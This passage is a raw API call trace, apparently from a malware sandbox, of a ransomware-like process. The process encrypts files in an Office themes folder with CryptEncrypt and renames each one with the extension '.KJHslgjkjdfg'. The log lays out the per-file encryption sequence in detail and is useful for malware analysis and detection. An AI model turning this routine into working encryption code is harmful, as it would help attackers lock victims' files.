RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0171.322] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0171.322] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0171.322] WriteFile (in: hFile=0x114, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0x2, lpOverlapped=0x0) returned 1 [0171.323] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0171.323] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0171.323] GetProcessHeap () returned 0x2ef0000 [0171.323] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0171.323] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0171.324] CryptDestroyKey (hKey=0x2f18308) returned 1 [0171.324] WriteFile (in: hFile=0x114, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0171.324] WriteFile (in: hFile=0x114, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0171.324] WriteFile (in: hFile=0x114, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0171.324] WriteFile (in: hFile=0x114, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0171.324] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0171.324] WriteFile (in: hFile=0x114, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0171.324] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0171.324] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0171.324] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.324] ReadFile (in: hFile=0x114, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xe58e, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0xe58e, lpOverlapped=0x0) returned 1 [0171.325] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0xe590, dwBufLen=0xe590 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0xe590) returned 1 [0171.326] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.326] WriteFile (in: hFile=0x114, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xe590, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0xe590, lpOverlapped=0x0) returned 1 [0171.326] CryptDestroyKey (hKey=0x2f18308) returned 1 [0171.326] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xe664, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.326] SetEndOfFile (hFile=0x114) returned 1 [0171.329] GetProcessHeap () returned 0x2ef0000 [0171.329] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0171.329] GetProcessHeap () returned 0x2ef0000 [0171.329] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0171.329] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\aftrnoon.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\aftrnoon.elm.kjhslgjkjdfg")) returned 1 [0171.335] CloseHandle (hObject=0x114) returned 1 [0171.335] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86e63000, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x86e63000, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x22b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AFTRNOON.INF", cAlternateFileName="")) returned 1 [0171.335] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\aftrnoon.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0171.336] GetProcessHeap () returned 0x2ef0000 [0171.336] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0171.336] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0171.336] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0171.336] WriteFile (in: hFile=0x114, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0x5, lpOverlapped=0x0) returned 1 [0171.338] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0171.338] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0171.338] GetProcessHeap () returned 0x2ef0000 [0171.338] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0171.338] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0171.338] CryptDestroyKey (hKey=0x2f18308) returned 1 [0171.338] WriteFile (in: hFile=0x114, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0171.338] WriteFile (in: hFile=0x114, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0171.338] WriteFile (in: hFile=0x114, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0171.338] WriteFile (in: hFile=0x114, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0171.339] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0171.339] WriteFile (in: hFile=0x114, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0171.339] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0171.339] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0171.339] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.339] ReadFile (in: hFile=0x114, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x22b, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x22b, lpOverlapped=0x0) returned 1 [0171.339] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x230, dwBufLen=0x230 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x230) returned 1 [0171.339] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.339] WriteFile (in: hFile=0x114, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x230, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x230, lpOverlapped=0x0) returned 1 [0171.339] CryptDestroyKey (hKey=0x2f18308) returned 1 [0171.339] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x304, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.340] SetEndOfFile (hFile=0x114) returned 1 [0171.342] GetProcessHeap () returned 0x2ef0000 [0171.342] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0171.342] GetProcessHeap () returned 0x2ef0000 [0171.342] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0171.343] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\aftrnoon.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\aftrnoon.inf.kjhslgjkjdfg")) returned 1 [0171.350] CloseHandle (hObject=0x114) returned 1 [0171.351] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85b50300, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x85b50300, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x621, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0171.351] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0171.353] GetProcessHeap () returned 0x2ef0000 [0171.353] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0171.354] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0171.354] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0171.354] WriteFile (in: hFile=0x114, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0xf, lpOverlapped=0x0) returned 1 [0171.356] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0171.356] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0171.356] GetProcessHeap () returned 0x2ef0000 [0171.356] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0171.356] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0171.356] CryptDestroyKey (hKey=0x2f18308) returned 1 [0171.356] WriteFile (in: hFile=0x114, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0171.357] WriteFile (in: hFile=0x114, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0171.357] WriteFile (in: hFile=0x114, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0171.357] WriteFile (in: hFile=0x114, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0171.357] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0171.357] WriteFile (in: hFile=0x114, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0171.357] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0171.357] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0171.357] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.357] ReadFile (in: hFile=0x114, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x621, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x621, lpOverlapped=0x0) returned 1 [0171.357] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x630, dwBufLen=0x630 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x630) returned 1 [0171.357] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.357] WriteFile (in: hFile=0x114, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x630, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x630, lpOverlapped=0x0) returned 1 [0171.358] CryptDestroyKey (hKey=0x2f18308) returned 1 [0171.358] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x704, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.358] SetEndOfFile (hFile=0x114) returned 1 [0171.361] GetProcessHeap () returned 0x2ef0000 [0171.361] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0171.361] GetProcessHeap () returned 0x2ef0000 [0171.361] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0171.361] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\preview.gif.kjhslgjkjdfg")) returned 1 [0171.362] CloseHandle (hObject=0x114) returned 1 [0171.362] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86e63000, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x86e63000, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x6292, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0171.362] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0171.363] GetProcessHeap () returned 0x2ef0000 [0171.363] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0171.363] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0171.363] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0171.363] WriteFile (in: hFile=0x114, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0xe, lpOverlapped=0x0) returned 1 [0171.366] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0171.366] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0171.366] GetProcessHeap () returned 0x2ef0000 [0171.366] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0171.366] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0171.366] CryptDestroyKey (hKey=0x2f18308) returned 1 [0171.366] WriteFile (in: hFile=0x114, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0171.366] WriteFile (in: hFile=0x114, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0171.366] WriteFile (in: hFile=0x114, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0171.366] WriteFile (in: hFile=0x114, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0171.367] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0171.367] WriteFile (in: hFile=0x114, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0171.367] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0171.367] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0171.367] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.367] ReadFile (in: hFile=0x114, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x6292, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x6292, lpOverlapped=0x0) returned 1 [0171.368] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x62a0, dwBufLen=0x62a0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x62a0) returned 1 [0171.369] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.369] WriteFile (in: hFile=0x114, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x62a0, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x62a0, lpOverlapped=0x0) returned 1 [0171.369] CryptDestroyKey (hKey=0x2f18308) returned 1 [0171.369] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x6374, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.369] SetEndOfFile (hFile=0x114) returned 1 [0171.372] GetProcessHeap () returned 0x2ef0000 [0171.372] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0171.372] GetProcessHeap () returned 0x2ef0000 [0171.372] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0171.372] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png.kjhslgjkjdfg")) returned 1 [0171.380] CloseHandle (hObject=0x114) returned 1 [0171.380] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86e63000, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x86e63000, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x6292, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0171.380] GetProcessHeap () returned 0x2ef0000 [0171.380] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0171.380] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0171.380] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898, pdwDataLen=0x4dfee20 | out: pbData=0x2f0c898, pdwDataLen=0x4dfee20) returned 1 [0171.380] CryptDestroyKey (hKey=0x2f18308) returned 1 [0171.380] GetProcessHeap () returned 0x2ef0000 [0171.380] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c8e0 [0171.381] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0171.381] 